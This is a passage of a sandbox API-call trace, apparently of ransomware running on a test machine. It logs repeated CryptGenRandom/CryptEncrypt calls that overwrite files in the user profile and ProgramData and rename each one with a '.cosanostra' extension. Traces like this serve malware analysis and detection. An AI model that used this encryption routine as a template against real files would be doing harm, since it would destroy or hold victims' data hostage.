lpOverlapped=0x0 | out: lpBuffer=0x28dfa94*, lpNumberOfBytesWritten=0x28dfa54*=0x4, lpOverlapped=0x0) returned 1 [0085.834] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa54, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa54*=0x30, lpOverlapped=0x0) returned 1 [0085.835] CloseHandle (hObject=0x188) returned 1 [0085.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0085.836] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa90 | out: pbBuffer=0x28dfa90) returned 1 [0085.836] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa88*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa88*=0x30) returned 1 [0085.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.837] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 155 [0085.837] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.837] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.837] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x28dfa4c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa4c*=0xdd, lpOverlapped=0x0) returned 1 [0085.838] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.838] WriteFile (in: hFile=0x188, lpBuffer=0x28dfa8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa4c, lpOverlapped=0x0 | out: lpBuffer=0x28dfa8c*, lpNumberOfBytesWritten=0x28dfa4c*=0x4, lpOverlapped=0x0) returned 1 [0085.838] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa4c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa4c*=0x30, lpOverlapped=0x0) returned 1 [0085.838] CloseHandle (hObject=0x188) returned 1 [0085.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0085.839] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa88 | out: pbBuffer=0x28dfa88) returned 1 [0085.839] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa80*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa80*=0x30) returned 1 [0085.839] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.840] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 155 [0085.840] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.841] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.841] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x28dfa44, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa44*=0xd0, lpOverlapped=0x0) returned 1 [0085.841] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.841] WriteFile (in: hFile=0x188, lpBuffer=0x28dfa84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa44, lpOverlapped=0x0 | out: lpBuffer=0x28dfa84*, lpNumberOfBytesWritten=0x28dfa44*=0x4, lpOverlapped=0x0) returned 1 [0085.841] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa44, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa44*=0x30, lpOverlapped=0x0) returned 1 [0085.841] CloseHandle (hObject=0x188) returned 1 [0085.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0085.842] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa80 | out: pbBuffer=0x28dfa80) returned 1 [0085.843] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa78*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa78*=0x30) returned 1 [0085.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.843] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 155 [0085.843] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.844] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.844] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28dfa3c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa3c*=0xe6, lpOverlapped=0x0) returned 1 [0085.845] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.845] WriteFile (in: hFile=0x188, lpBuffer=0x28dfa7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa3c, lpOverlapped=0x0 | out: lpBuffer=0x28dfa7c*, lpNumberOfBytesWritten=0x28dfa3c*=0x4, lpOverlapped=0x0) returned 1 [0085.845] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa3c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa3c*=0x30, lpOverlapped=0x0) returned 1 [0085.845] CloseHandle (hObject=0x188) returned 1 [0085.845] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0085.853] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa78 | out: pbBuffer=0x28dfa78) returned 1 [0085.853] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa70*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa70*=0x30) returned 1 [0085.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.855] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 89 [0085.855] StrStrW (lpFirst="metadata", lpSrch=".txt") returned 0x0 [0085.855] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.855] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28dfa34, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa34*=0x0, lpOverlapped=0x0) returned 1 [0085.855] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.855] WriteFile (in: hFile=0x188, lpBuffer=0x28dfa74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa34, lpOverlapped=0x0 | out: lpBuffer=0x28dfa74*, lpNumberOfBytesWritten=0x28dfa34*=0x4, lpOverlapped=0x0) returned 1 [0085.855] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa34, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa34*=0x30, lpOverlapped=0x0) returned 1 [0085.856] CloseHandle (hObject=0x188) returned 1 [0085.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata.cosanostra")) returned 1 [0085.857] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa70 | out: pbBuffer=0x28dfa70) returned 1 [0085.857] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa68*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa68*=0x30) returned 1 [0085.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.858] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 67 [0085.858] StrStrW (lpFirst="GDIPFONTCACHEV1.DAT", lpSrch=".txt") returned 0x0 [0086.020] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.020] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfa2c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa2c*=0x2800, lpOverlapped=0x0) returned 1 [0086.022] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.022] WriteFile (in: hFile=0x188, lpBuffer=0x28dfa6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa2c, lpOverlapped=0x0 | out: lpBuffer=0x28dfa6c*, lpNumberOfBytesWritten=0x28dfa2c*=0x4, lpOverlapped=0x0) returned 1 [0086.029] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa2c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa2c*=0x30, lpOverlapped=0x0) returned 1 [0086.029] CloseHandle (hObject=0x188) returned 1 [0086.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat.cosanostra")) returned 1 [0086.032] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa68 | out: pbBuffer=0x28dfa68) returned 1 [0086.032] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa60*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa60*=0x30) returned 1 [0086.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0086.041] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 155 [0086.041] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.041] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.041] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x28dfa24, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfa24*=0xf5, lpOverlapped=0x0) returned 1 [0086.041] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.042] WriteFile (in: hFile=0x178, lpBuffer=0x28dfa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa24, lpOverlapped=0x0 | out: lpBuffer=0x28dfa64*, lpNumberOfBytesWritten=0x28dfa24*=0x4, lpOverlapped=0x0) returned 1 [0086.042] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa24, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa24*=0x30, lpOverlapped=0x0) returned 1 [0086.042] CloseHandle (hObject=0x178) returned 1 [0086.042] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0086.042] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa68 | out: pbBuffer=0x28dfa68) returned 1 [0086.042] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa60*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa60*=0x30) returned 1 [0086.042] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.159] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 88 [0086.159] StrStrW (lpFirst="vcredist_x86.exe", lpSrch=".txt") returned 0x0 [0086.179] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.179] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfa24, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28dfa24*=0x2800, lpOverlapped=0x0) returned 1 [0086.180] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.180] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa24, lpOverlapped=0x0 | out: lpBuffer=0x28dfa64*, lpNumberOfBytesWritten=0x28dfa24*=0x4, lpOverlapped=0x0) returned 1 [0086.223] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa24, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa24*=0x30, lpOverlapped=0x0) returned 1 [0086.223] CloseHandle (hObject=0x190) returned 1 [0086.223] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.cosanostra" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.cosanostra")) returned 1 [0086.225] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa60 | out: pbBuffer=0x28dfa60) returned 1 [0086.225] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa58*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa58*=0x30) returned 1 [0086.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.225] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 155 [0086.225] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.226] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.226] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x28dfa1c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28dfa1c*=0xd5, lpOverlapped=0x0) returned 1 [0086.226] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.226] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa1c, lpOverlapped=0x0 | out: lpBuffer=0x28dfa5c*, lpNumberOfBytesWritten=0x28dfa1c*=0x4, lpOverlapped=0x0) returned 1 [0086.227] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa1c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa1c*=0x30, lpOverlapped=0x0) returned 1 [0086.227] CloseHandle (hObject=0x190) returned 1 [0086.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0086.229] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa58 | out: pbBuffer=0x28dfa58) returned 1 [0086.229] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa50*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa50*=0x30) returned 1 [0086.229] CreateFileW 